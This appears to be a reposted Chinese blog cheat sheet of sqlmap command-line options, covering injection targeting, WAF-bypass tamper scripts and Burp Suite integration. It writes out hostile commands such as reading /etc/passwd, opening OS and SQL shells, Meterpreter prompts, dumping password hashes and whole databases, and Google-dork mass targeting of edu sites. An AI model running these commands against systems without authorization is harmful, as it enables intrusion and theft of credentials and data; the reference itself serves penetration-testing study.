sqlmap參數介紹


前言:為什么要發這篇文章,因為找的太麻煩,如有侵犯聯系刪除

 

查看幫助文檔

-h -hh 更詳細的使用說明

無法連接時,維持連接

--keep-alive  //一般配合繞過方法使用,以及ua繞過使用

 

使用隨機user-agent請求頭
--random-agent

 

使用特定的某一種或者幾種注入手段,例如 時間盲注
--technique=T

 

指定注入參數
-p "id"

 

指定包含注入點的url
-u "http://www.test.com/index.php?id=12"

 

設置請求的cookie
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

 

指定使用post方法請求時,post的數據
--data="id=3"

 

解析包含表單的頁面參數
--forms

 

刷新session,用於對注入點的重新注入
--flush-session

 

使用默認的選項進行注入,無需用戶輸入和交互
--batch

 

面向初學者的友好參數
--wizard

 

使用十六進制解析數據
--hex

 

設置編碼
--encoding=GBK

 

注冊表操作
–reg-read Read a Windows registry key value
–reg-add Write a Windows registry key value data
–reg-del Delete a Windows registry key value
–reg-key=REGKEY Windows registry key
–reg-value=REGVAL Windows registry key value
–reg-data=REGDATA Windows registry key value data
–reg-type=REGTYPE Windows registry key value type

 

指定操作系統
--os=windows

 

操作系統相關操作
執行系統命令(非交互)
--os-cmd=whoami


執行系統命令(交互式)
--os-shell

–os-pwn Prompt for an OOB shell, Meterpreter or VNC
–os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
–os-bof Stored procedure buffer overflow exploitation
–priv-esc Database process user privilege escalation
–msf-path=MSFPATH Local path where Metasploit Framework is installed
–tmp-path=TMPPATH Remote absolute path of temporary files directory

 

文件讀寫操作
讀取文件內容
--file-read="/etc/passwd"

 

寫入文件
--file-write="/path/local/file" --file-dest="/path/remote/file"

 

使用用戶自定義函數
--udf-inject

 

暴力破解
當遇到access數據庫或者mysql數據庫版本較低(沒有information_schema數據庫)時,只能使用字典猜解數據庫的表名和字段名等信息。
表名猜解
--common-tables


字段名猜解
--common-columns

 

設置請求延時(默認5秒),當網絡較差時使用
--time-sec=6

 

設置注入等級,有些注入 例如cookie注入,需要較高的等級
--level=3

 

設置注入關鍵詞,即當返回預期的頁面時包含的某個字符串
--string="success"


也可以使用正則表達式
--regexp="uid\d+"

 

設置線程數
--threads=10

 

執行python代碼
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

 

使用HTTP參數污染
--hpp

 

開啟參數優化
-o

 

請求之間的延遲
--delay=3

 

設置連接超時(默認30秒)
--timeout=15

 

設置遇到超時后的重試次數(默認3次)
--retries=5

 

使用代理

--proxy="http://127.0.0.1:8080" --proxy-cred="name:password" --proxy-file="proxy_list.txt"

指定user-agent
--user-agent="sadsadasd"

 

指定http請求方法
--method=PUT

 

指定請求頭

-H "X-Forwarded-For: 127.0.0.1" --headers "Accept-Language: fr\nETag: 123"

指定referer
--referer=REFERER

 

指定數據庫類型
``–dbms=mysql```

 

指定payload的前綴
--prefix=PREFIX

 

指定payload的后綴
--suffix=SUFFIX

 

使用自定義腳本
--tamper=between


自定義腳本,是指用戶可以根據需要,對sqlmap的默認payload進行自定義修改,例如使用替換、編碼和函數對一些注入字符進行處理,達到繞過waf的目的,是sqlmap最強大的功能之一。

數據庫指紋探測

-f --fingerprint

執行sql語句(非交互)
--sql-query=QUERY

 

執行sql語句(交互式)
--sql-shell

 

執行文件中的sql語句
--sql-file=SQLFILE.txt

 

獲取數據庫banner信息

-b --banner

查看當前數據庫用戶
--current-user

 

查看當前數據庫
--current-db

 

查看是否為dba用戶
--is-dba

 

解析數據庫用戶
--users

 

解析數據庫賬號密碼hash
--passwords

 

查看數據庫用戶權限
--privileges

 

查看數據庫用戶role
--roles

 

解析數據庫名

-D --dbs

解析數據庫中的表名

-T --tables

解析數據表中的字段名

-C --columns

數據表中數據條數
--count

 

導出指定數據表中的內容
--dump

 

導出所有數據庫中數據表中的內容
--dump-all

 

解析數據庫中的表名時,排除系統數據庫
--exclude-sysdbs

 

sqlmap結合burp suite的使用
(1)單一請求
將burp suite中的某個請求保存到123.txt文件中

GET /r/collect?v=1&_v=j46&a=171173639*&t=pageview&_s=1&dl=http%3A%2F%2Fmuchong.com%2Ff-133-1-typeid-34&ul=zh-cn&de=GBK&dt=%2F%E5%B0%8F%E6%9C%A8%E8%99%AB%2F%5B%E5%A4%A7%E5%8C%BA%5D%E7%BD%91%E7%BB%9C%E7%94%9F%E6%B4%BB%E5%8C%BA%2F%5B%E6%9D%BF%E5%9D%97%5D%E8%99%AB%E5%8F%8B%E4%BA%92%E8%AF%86%2F%5B%E5%88%86%E7%B1%BB%5D%E8%AF%9A%E5%BE%81%E7%94%B7%E5%8F%8B&sd=24-bit&sr=1536x864&vp=1519x722&je=0&_u=QACAAEABI~&jid=798689456&cid=1166606190.1534286887&uid=570720&tid=UA-1947017-8&_r=1&z=1729239525 HTTP/1.1 Host: www.google-analytics.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.34 Safari/537.36 Accept: image/webp,image/apng,image/*,*/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Referer: http://www.baidu.com Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 

注意在請求的”a=171173639“后面添加了星號 * ,表示a參數為待測試參數,使用sqlmap進行注入測試:
python sqlmap.py -r "C:\Users\Administrator\Desktop\123.txt"

 

(2)請求記錄
將burp suite的請求記錄導出到文件req.log,使用sqlmap進行注入測試:
python sqlmap.py -l "C:\Users\Administrator\Desktop\req.log"

將待測試的多個url保存到文件1.txt,文件內容舉例:

http://www.a.com/index.php?id=1 http://www.b.com/index.asp?id=1 http://www.c.com/index.jsp?id=1 

使用sqlmap進行注入測試:
python sqlmap.py -m "C:\Users\Administrator\Desktop\1.txt"

使用google搜索結果作為url輸入


-g "inurl:php?id= site:edu"
由於國內對谷歌的訪問較難實現,因此這個方法需要....才行

 

文章來源:https://blog.csdn.net/shadow20112011/article/details/104244004


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM